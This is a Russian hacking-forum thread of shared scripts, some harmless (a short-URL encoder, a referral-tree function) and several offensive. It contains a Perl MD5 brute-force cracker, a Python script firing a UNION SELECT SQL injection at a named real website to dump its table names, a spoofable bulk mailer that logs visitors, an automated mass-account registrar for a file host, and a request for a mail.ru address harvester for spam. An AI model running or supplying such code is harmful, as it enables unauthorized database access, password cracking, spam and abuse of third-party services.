Полезные скрипты

del

 

Перловый крякер md5.

Code:

#!/usr/bin/perl
$ver = "01";
$dbgtmr = "1"; #Intervall of showing the current speed + lastpassword in seconds.

if ($dbgtmr<=0){ die "Set dbgtmr to a value >=1 !\n";};
use Digest::MD5 qw(md5_hex);
use Time::HiRes qw(gettimeofday);

if ($ARGV[0]=~"a") {
 $alpha = "abcdefghijklmnopqrstuvwxyz";}
if ($ARGV[0]=~"A") {
 $alpha = $alpha. "ABCDEFGHIJKLMNOPQRSTUVWXYZ";}
if ($ARGV[0]=~"d") {
 $alpha = $alpha."1234567890";}
if ($ARGV[0]=~"x") {
 $alpha = $alpha. "!\"\$%&/()=?-.:\\*'-_:.;,";}

if ($alpha eq "" or $ARGV[3] eq "") {usage();};
if (length($ARGV[3]) != 32) { die "Sorry but it seems that the MD5 is not valid!\n";};

print "Selected charset for attack: '$alpha\'\n";
print "Going to Crack '$ARGV[3]'...\n";

for (my $t=$ARGV[1];$t<=$ARGV[2];$t++){
 crack ($t);
}

sub usage{
 print "\n\nMD5 Hash Bruteforce Kit v_$ver\n";
 print "by unix_chro alias backtrack ([email protected])\n";
 print "Member in staff leader:elite-members,ubuntu-hackers\n\n";
 print "USAGE\n";
 print "./md5crack <charset> <mincount> <maxcount> <yourMD5>\n";
 print " Charset can be: [aAdx]\n";
 print " a = {'a','b','c',...}\n";
 print " A = {'A','B','C',...}\n";
 print " d = {'1','2','3',...}\n";
 print " x = {'!','\"',' ',...}\n";
 print "EXAMPLE FOR CRACKING A MD5 HASH\n";
 print "./md5crack.pl ad 1 3 900150983cd24fb0d6963f7d28e17f72\n";
 print " This example tries to crack the given MD5 with all lowercase Alphas and all digits.\n";
 print " MD5 Kit only tries combinations with a length from 1 and 3 characters.\n-------\n";
 print "./md5crack.pl aA 3 3 900150983cd24fb0d6963f7d28e17f72\n";
 print " This example tries to crack the given MD5 with all lowercase Alphas and all uppercase Alphas.\n";
 print " MD5 Kit only tries passwords which length is exactly 3 characters.\n-------\n";
 print "./md5crack.pl aAdx 1 10 900150983cd24fb0d6963f7d28e17f72\n";
 print " This example tries to crack the given MD5 with nearly every character.\n";
 print " MD5 Kit only tries combinations with a length from 1 to 10 characters.\n";
 die "Quitting...\n";
}

sub crack{
 $CharSet = shift;
 @RawString = ();
 for (my $i =0;$i<$CharSet;$i++){ $RawString[i] = 0;}
 $Start = gettimeofday();
 do{
  for (my $i =0;$i<$CharSet;$i++){
   if ($RawString[$i] > length($alpha)-1){
    if ($i==$CharSet-1){
    print "Bruteforcing done with $CharSet Chars. No Results.\n";
    $cnt=0;
    return false;
   }
   $RawString[$i+1]++;
   $RawString[$i]=0;
   }
  }
###################################################
   $ret = "";
   for (my $i =0;$i<$CharSet;$i++){ $ret = $ret . substr($alpha,$RawString[$i],1);}
   $hash = md5_hex($ret);
   $cnt++;
   $Stop = gettimeofday();
   if ($Stop-$Start>$dbgtmr){
    $cnt = int($cnt/$dbgtmr);
    print "$cnt hashes\\second.\tLast Pass '$ret\'\n";
    $cnt=0;
    $Start = gettimeofday();
   }
            print "$ARGV[3] != $hash ($ret)\n";
   if ($ARGV[3] eq $hash){
    die "\n**** Password Cracked! => $ret\n";
   }
###################################################
  #checkhash($CharSet)."\n";

  $RawString[0]++;
 }while($RawString[$CharSet-1]<length($alpha));
}

sub checkhash{
 $CharSet = shift;
 $ret = "";
 for (my $i =0;$i<$CharSet;$i++){ $ret = $ret . substr($alpha,$RawString[$i],1);}
 $hash = md5_hex($ret);
 $cnt++;
 $Stop = gettimeofday();
 if ($Stop-$Start>$dbgtmr){
  $cnt = int($cnt/$dbgtmr);
  print "$cnt hashes\\second.\tLast Pass '$ret\'\n";
  $cnt=0;
  $Start = gettimeofday();
 }

 if ($ARGV[3] eq $hash){
  die "\n**** Password Cracked! => $ret\n";
 }
 
}

Нашол на поломаном забугорном хак портале...

 

-m0rgan-, пригодилось очень, спасибо

 

Хотел себе красивые ссылочки как на youtube.com тоесть буковке, но короткие, ну в общем можно былобы рэндомом но они будут повторяться, и так можно генерить хз скока и будут они не короткие эти ссылки, вы чёто поняли? Я тоже нет
В общем нате

PHP:

<?php
function symbols() {
    $ret = array();
    for($i=ord('A');$i<=ord('Z');$i++) {
        $ret[] = chr($i);
    }
    for($i=ord('a');$i<=ord('z');$i++) {
        $ret[] = chr($i);
    }
    for($i=1;$i<=9;$i++) {
        $ret[] = $i;
    }
    return $ret;
}

function url($chislo) {
    if(!is_int($chislo) || $chislo < 0) return false;
    $symbols = symbols();
    $result = '';
    $system = count($symbols);
    
    $ostatok = floor($chislo/$system);
    $minus = $chislo-($ostatok*$system);
    $result = $symbols[$minus].$result;
    
    while($chislo >= $system) {
        $chislo = $ostatok;
        $ostatok = floor($chislo/$system);
        $minus = $chislo-($ostatok*$system);
        $result = $symbols[$minus].$result;
    }
    
    return $result;
}

function deurl($str) {
    $symbols = symbols();
    $id = 0;
    $system = count($symbols);
    $str = strrev($str);
    for($i=0;$i<strlen($str);$i++) {
        $key = array_search($str[$i],$symbols);
        $id += $key*pow($system,$i);
    }
    return $id;
}
?>

Например у нас в БД id 123456 вместо ?id=123456 выведем ?id=<?=url(123456)?>
И получица ?id=hK2
Обратно получаем ID deurl('hK2');
Тоесть

PHP:

<?php
#functions
echo url(123456)."\r\n";
echo deurl('hK2');
?>

Code:

hK2
123456

Кто понял зачем это, юзайте
При написании скрипта постродал 1 мозг, 2 руки и 2 кружки чая, итого одно хлебо-булочное изделие

 

парни может кто допишет функцию для вложения фаилов в письмо очень надо

PHP:

<?php 

print <<<HERE 
<style type = "text/css"> 
body { 
  font-family: Arial; 
} 

#inputone { 
  width: 100%; 
} 

#textarea { 
  width: 100%; 
  height: 500px; 
} 

#infotd { 
  font-size: 13px; 
  width: 100px; 
} 

#infotd2 { 
  font-size: 13px; 
} 

#bgcolor_infotd { 
  background-color: #dbeaff; 
} 

#good_send { 
  color: #00419a; 
} 

#sends { 
  width: 20px; 
} 

#notice { 
  color: red; 
} 

</style> 

HERE; 

$html_or_text = $_GET["html_or_text"]; 
$sends = $_GET["sendes"]; 

if($_GET["html_or_text"] == 1) { 
  $htmltext = "\r\nContent-type: text/plain"; 
} else if ($_GET["html_or_text"] == 2) { 
  $htmltext = "\r\nContent-type: text/html"; 
} else {} 

if($_GET["codir"] == 1) { 
  $cod = "windows-1251"; 
} else if ($_GET["codir"] == 2){ 
  iconv("windows-1251", "utf-8", $email . $them . $body . $send_full . $htmltext); 
  $cod = "utf-8"; 
} else {} 

$mime = "$htmltext; charset = \"$cod\""; 

if($_GET["sender_name"] == TRUE) { 
  $sender_full = $sender_name . " <" . $sender_mail . ">"; 
} else { 
  $sender_full = $sender_mail; 
} 
   
if(isset($_GET["send"])) { 
  for($i = 0; $i < $_GET["sendes"]; $i++) { 
    mail("$email", "$them", "$body", "From: $sender_full $mime"); 
  } 
  print "<center><span id = \"good_send\">Сообщение отправлено</span></center>"; 
  $fp = fopen("result.txt", "a"); 
  $content = <<<HERE 
IP: $REMOTE_ADDR 
Agent: $HTTP_USER_AGENT 
Cookie: $QUERY_STRING 
- 
Отправитель (e-mail): $sender_mail 
Отправитель (имя): $sender_name 
E-mail: $email 
Тема: $them 
Текст письма - 
$body 
text/html: $html_or_text 
Количество писем за раз: $sends 
----------------------------- 

HERE; 

  fputs($fp, $content); 
  fclose($fp); 
} else { 
  print <<<HERE 
      <form> 
  <table border = "0" width = "100%" id = "infotd2" cellpadding = "1" cellspacing = "1"> 
  <tr id = "bgcolor_infotd"> 
    <td id = "infotd"> 
      От кого (e-mail): 
    </td> 
    <td> 
        <input type = "text" id = "inputone" name = "sender_mail" value = "[email protected]" /> 
    </td> 
  </tr> 
  <tr id = "bgcolor_infotd"> 
    <td id = "infotd"> 
      От кого (Имя): 
    </td> 
    <td> 
        <input type = "text" id = "inputone" name = "sender_name" value = "Билл" /> 
    </td> 
  </tr> 
  <tr id = "bgcolor_infotd"> 
    <td id = "infotd"> 
      Кому<span id = "notice">*</span>: 
    </td> 
    <td> 
        <input type = "text" id = "inputone" name = "email" value = "[email protected]" /> 
    </td> 
  </tr> 
  <tr id = "bgcolor_infotd"> 
    <td id = "infotd"> 
      Тема письма<span id = "notice">*</span>: 
    </td> 
    <td> 
        <input type = "text" id = "inputone" name = "them" value = "Hello" /> 
    </td> 
  </tr> 
  <tr id = "bgcolor_infotd"> 
    <td valign = "top" id = "infotd"> 
      Текст письма<span id = "notice">*</span>: 
    </td> 
    <td> 
        <textarea name = "body" id = "textarea">You are lol:)</textarea> 
    </td> 
  </tr> 
  <tr id = "bgcolor_infotd"> 
    <td colspan = "2"> 
        Файл: <input type="file" name="File"> - Вы можете прикрепить файл размером не больше 2мб. 
    </td> 
  </tr> 
  <tr id = "bgcolor_infotd"> 
    <td colspan = "2"> 
        <input type = "radio" name = "html_or_text" value = "1" checked = "checked">Только текст 
        <input type = "radio" name = "html_or_text" value = "2">HTML и текст 
    </td> 
  </tr> 
  <tr id = "bgcolor_infotd"> 
    <td colspan = "2"> 
        Количество писем за раз: 
        <select name = "sendes"> 
          <option value = "1">1</option> 
          <option value = "2">2</option> 
          <option value = "3">3</option> 
          <option value = "4">4</option> 
          <option value = "5">5</option> 
          <option value = "6">6</option> 
          <option value = "7">7</option> 
          <option value = "8">8</option> 
          <option value = "9">9</option> 
          <option value = "10">10</option> 
          <option value = "11">11</option> 
          <option value = "12">12</option> 
          <option value = "13">13</option> 
          <option value = "14">14</option> 
          <option value = "15">15</option> 
          <option value = "16">16</option> 
          <option value = "17">17</option> 
          <option value = "18">18</option> 
          <option value = "19">19</option> 
          <option value = "20">20</option> 
       </select> 
    </td> 
  </tr> 
  <tr id = "bgcolor_infotd"> 
    <td colspan = "2"> 
        Кодировка письма: 
        <select name = "codir"> 
          <option value = "1">windows-1251</option> 
          <option value = "2">utf-8</option> 
       </select> 
    </td> 
  </tr> 
  <tr> 
    <td valign = "top" colspan = "2"> 
  <table border = "0" width = "100%" id = "infotd2"> 
    <td valign = "top"> 
      Поля отмеченные знаком <span id = "notice">*</span> обязательны для заполнения 
    </td> 
    <td colspan = "2" align = "right"> 
        <input type = "reset" value = "Вернуть" /> 
        <input type = "submit" value = "Отправить" /> 
        <input type = "hidden" name = "send" /> 
    </td> 
  <table> 
    </td> 
  </tr> 
      </form> 

HERE; 

} 

?>

 

Code:

#!/usr/bin/python
#sqldump
#http://sql.parsers.info
#faza02[at]gmail[dot]com

import re, urllib
for i in range(1,30):
 site='http://www.mothernaturalclean.com/int.php?id=3+and+0+union+select+1,2,table_name+from+information_schema.tables+limit+' +str(i) + ',1'
 bl=str(urllib.urlopen(site).read())
 dump=re.findall(r'n\"\>\<a href=.*?\=1\">.*?\</a>',bl)
 dump=str(dump)[2:-2]
 dump=dump[27:]
 dump=dump.replace('</a>','')
 print dump

дампер скл через limit.. на питоне, написан мной.

 

antichat info

Code:

#!/usr/bin/python
#antichat.ru info
#http://sql.parsers.info
#faza02[at]gmail[dot]com

import re, urllib
print 'antichat.ru info by faza02'
while 1:
 u=raw_input(u'user: ')
 antichat=urllib.urlopen('http://forum.antichat.ru/member.php?u='+ u).read()
 nick=re.findall(r'\<span class=\"normal\"\>.*?\</span\>\</td\>',antichat)
 nick=str(nick)[2:-2]
 nick=nick[23:]
 nick=nick.replace('</span></td>','')
 rep=re.findall(r'\(\<b\>.*?\</b\>/\<b\>.*?\</b\>\)',antichat)
 rep=str(rep)[2:-2]
 rep=rep.replace('</b>','')
 rep=rep.replace('<b>','')
 post=re.findall(r'\<strong\>.*?\</strong\> \(',antichat)
 post=str(post)[2:-2]
 post=post.replace('<strong>','')
 post=post.replace('</strong> (','')
 reg=re.findall(': \<strong\>.*?200.*?\</strong\>',antichat)
 reg=str(reg)[2:-2]
 reg=reg.replace(': <strong>','')
 reg=reg.replace('</strong>','')

 print '\nnick: ' + nick
 print 'reputation: ' + rep[1:-1]
 print 'posts: ' + post
 print 'registration: ' + reg

дело было вечером, делать было нечего..))
ник, репу, посты и регу выводит, нужного вам юзера на ачате..

 

Многовато операций...

 

Encoder v.1.0

Encoder v.1.0 - win32-Encoder для кодирования/декодирования ваших данных по различным алгоритмам:
-------
Encode:
-------
1. Text->MD5
2. Text->CHR chr(49).chr(50).chr(51).chr(50).chr(49)
3. Text->MSSQL char(49)%2bchar(50)%2bchar(51)%2bchar(50)%2bchar(49)
4. Text->HEX1 0x3132333231
5. Text->HEX2 %31%32%33%32%31
6. Text->PostgreSql chr(49)||chr(50)||chr(51)||chr(50)||chr(49)
7. Text->ASC,String.fromCharCode()
8. Text->Base64
9. Text->CRC32
10.Text->SHA1
11. Text->ASC2 char(49,50,51,50,49)
12. Text->Urlencode
13. Text->Htmlentities
14. Text->\x format
15. MD5 check file hash sum
16. CRC32 check file hash sum
17. SHA-1 check file hash sum
-------
Decode:
-------
1. CHR chr(49).chr(50).chr(51).chr(50).chr(49)->Text
2. MSSQL char(49)%2bchar(50)%2bchar(51)%2bchar(50)%2bchar(49)->Text
3. HEX1 0x3132333231->Text
4. HEX2 %31%32%33%32%31->Text
5. PostgreSql chr(49)||chr(50)||chr(51)||chr(50)||chr(49)->Text
6. ASC,String.fromCharCode()->Text
7. Base64->Text
8. ASC2 char(49,50,51,50,49)->Text
9. Urlencode->Text
10. Htmlentities->Text
11. \x format->Text
12. Detect HASH type



Скачать: http://bug-track.ru/prog/encoder1.0.rar

 

Исходники где?

 

пока прижму

 

Ну вот вчера решил написать маленький скрипт что бы следить кто пытаеться проломиться в админ панель)
Не у многих из вас админка находиться по адресу site.ru/admin.php ) етот скрипт как раз можна назвать admin.php и залить на сайт)))

PHP:

<?php
    $time = date("d.m.Y G:i.s");
    $ip = $_SERVER['REMOTE_ADDR'];
    $fd = fopen("test.txt", "a+");///вместо test.txt путь к файлу для записи логов
    fwrite($fd, "$time---$ip\n");
    fclose($fd);
?>

записывает время и ип в таком формате
06.03.2009 11:49.15---127.0.0.1

что бы очистить полностью test.txt поможет етот скрипт

PHP:

<?php
    $fd = fopen("test.txt", "w+");/// вместо test.txt путь к файлу для очистки
    fclose($fd);
?>

п.с Токо не ставьте минусы, я токо учусь

 

Зачем городить еще одни логи?

Code:

cat /var/log/apache2/error.log | grep admin.php

 

Всем добрый день или вечер, с утра просидел искал на этом форуме скрипт, но не нашел. Для сбора базы mail.ru, типа спаммер (поиск через зарегенные пользователи), где можно ставить параметры поиска и онлайн, программа есть, но нужен скрипт. Если у кого-нибудь есть что-нибудь поделитесь пожалуйста. Только сильно ногами не пинайте. Заранее благодарен. Все, иду есть...

 

Доброе утро!, ты помоему не только разделом и темой ошибся но еще и форумом, откуда вы такие беретесь....

 

Прошу прощения за флуд. А подсказать никак? Ладно, спасибо.

 

писал партнерку с многоуровневой реф программой столкнулся с выводом дерева.
Вид бд

Code:

......| id | login | st0 | st1 | st2 | .....| st {$maxlv}
 

st0-st {$maxlv} растояние он 0 - $maxlv вершины дерева
Проблему решил рекурсией.

PHP:

function show_tree($id,$n)
    {
      if ($n>$this->bd_step) return 0;
      $ret="<table border=1>";
      $res=bd_sql_result("SELECT id,login FROM ".$this->bd_perfix."_users WHERE id=".$id);
      $name=mysql_result($res,0,1);
      $res=bd_sql_result("SELECT sid,slogin FROM ".$this->bd_perfix."_users WHERE st0=".$id);
      $rows=mysql_num_rows($res);
     
      $ret.="
            <tr>
             <td COLSPAN=".$rows.">
               <center>$name</center>
             </td>
            </tr>
            <tr>";
      for ($i=0;$i<$rows;$i++)
        {
          $ret.= "<td>".$this->show_tree(mysql_result($res,$i,0),$n+1)."</td>";         
        }
       $ret.= "</tr></table>";
       return $ret;
      } 



Вызывается show_tree($id,$n)
$id относительно кого строить дерево
bd_step сколько ступеней отображать
Может кому и пригодится

 

Автореггер аккаунтов ЛетИтБит​

PHP:

<?php
set_time_limit(0);
echo "<table border=1>
<form method=post>
<tr><td>Сколько акков регать?</td><td><input type=text name=count></td>
<tr><td>Логин:</td><td><input type=text name=login><br><input name=lr type=checkbox value=ok> Рандумно?</td>
<tr><td>Пасс:</td><td><input type=text name=pass type=password><br><input name=rand type=checkbox value=ok> Рандумно?</td>
<tr><td><input type=submit value=\"Регайся!\"></td>
</table>";
if(isset($_POST['count'])) {
for($i=1;$i<=$_POST['count'];$i++)
{
$fp = fsockopen("letitbit.net", 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
if($_POST['lr']=='ok') $rand=rand(234567,95999); else $rand=$_POST['login'];
if(isset($_POST['rand'])) if($_POST['rand']=='ok') $pass=rand(10000,999999); else $pass=$_POST['pass'];
$str="login=$rand&pass=$pass&email=$rand@yandex.ru&terms=1";
$len=strlen($str);
$out = "POST /ftp/register.php HTTP/1.1\r\n";
$out .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";
$out .= "Referer: http://letitbit.net/ftp/register.php\r\n";
$out .= "Accept-Language: ru\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded\r\n";
$out .= "UA-CPU: x86\r\n";
$out .= "Accept-Encoding: gzip, deflate\r\n";
$out .= "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322)\r\n";
$out .= "Proxy-Connection: Keep-Alive\r\n";
$out .= "Content-Length: $len\r\n";
$out .= "Host: letitbit.net\r\n";
$out .= "Pragma: no-cache\r\n\r\n";
$out .= $str;
$fps=fopen("regged.txt","a+");
fwrite($fps, $rand.":".$pass."\r\n");
    fwrite($fp, $out);
    fclose($fp);
}}}
?>

 

mailbrush - Ты заебал слать всем мессаги в аську!!! как шлюха , ей богу , извините